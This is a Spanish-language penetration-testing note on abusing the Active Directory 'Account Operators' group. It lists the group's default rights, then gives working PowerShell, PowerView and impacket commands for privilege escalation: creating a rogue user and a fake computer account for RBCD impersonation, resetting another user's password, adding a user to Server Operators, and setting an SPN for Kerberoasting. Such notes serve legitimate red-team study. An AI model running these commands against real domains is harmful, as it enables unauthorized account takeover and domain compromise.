Account Operators
Es un grupo incorporado de Active Directory pensado para delegar la gestión de cuentas de usuarios y grupos estándar, sin dar acceso completo de administración del dominio.
net group "Account Operators" /domain
O desde PowerView:
Get-NetGroupMember -GroupName "Account Operators"
Privilegios del grupo
Por defecto, los miembros de Account Operators pueden:
-
Crear, modificar y eliminar cuentas de usuarios en los siguientes contenedores:
CN=Users
CN=Computers
-
Agregar usuarios a grupos locales (¡no de dominio!)
- Leer y escribir muchos atributos de cuentas de usuario (como userAccountControl, description, etc.)
- Resetear contraseñas de cuentas que no sean administradores.
No pueden tocar:
- Miembros de grupos protegidos (ej: Domain Admins, Administrators, Enterprise Admins, etc.)
- Atributos “sensibles” como adminCount = 1 (si está bien protegido)
- Cuentas fuera del scope delegado (como en OUs personalizadas)
Explotación
Ejemplo 1 – Crear un usuario + agregarlo a RBCD
- Crear un usuario
New-ADUser -Name "hacker" -SamAccountName hacker -AccountPassword (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) -Enabled $true
-
Crear un equipo falso (computer account)
(Esto requiere que MachineAccountQuota esté > 0, o que tengamos permisos)
addcomputer.py -method SAMR -computer-name FAKEPC -computer-pass P@ss1234 -dc-ip 10.10.10.1 CORP.local/eviluser:P@ssw0rd123
-
Configurar RBCD en un equipo objetivo (si tenemos WriteDACL sobre él)
O con PowerView (desde Windows):
Set-ADComputer TargetHost -PrincipalsAllowedToDelegateToAccount FAKEPC$
- Hacer impersonación y obtener acceso al target
Ejemplo 2 - Cambiar la contraseña de otra cuenta
Si encontramos un usuario sin adminCount
y dentro del scope de Account Operators:
Set-ADAccountPassword -Identity tyrell.wellick -Reset -NewPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
Ejemplo 3 – Agregar usuario a un grupo importante
Si tenemos WriteProperty o GenericAll sobre un grupo importante como “Server Operators” o “Backup Operators”, podemos agregarnos.
Add-ADGroupMember -Identity 'Server Operators' -Members hacker
Desde aquí, podemos abusar del grupo (como Backup Operators para leer SAM/NTDS.dit).
Ejemplo 4 - Asignar SPN a un usuario - Kerberoasting
Import-module .\PowerView.ps1
Set-DomainObject -Identity tyrell.wellick -SET @{serviceprincipalname='nonexistent/FAKE'}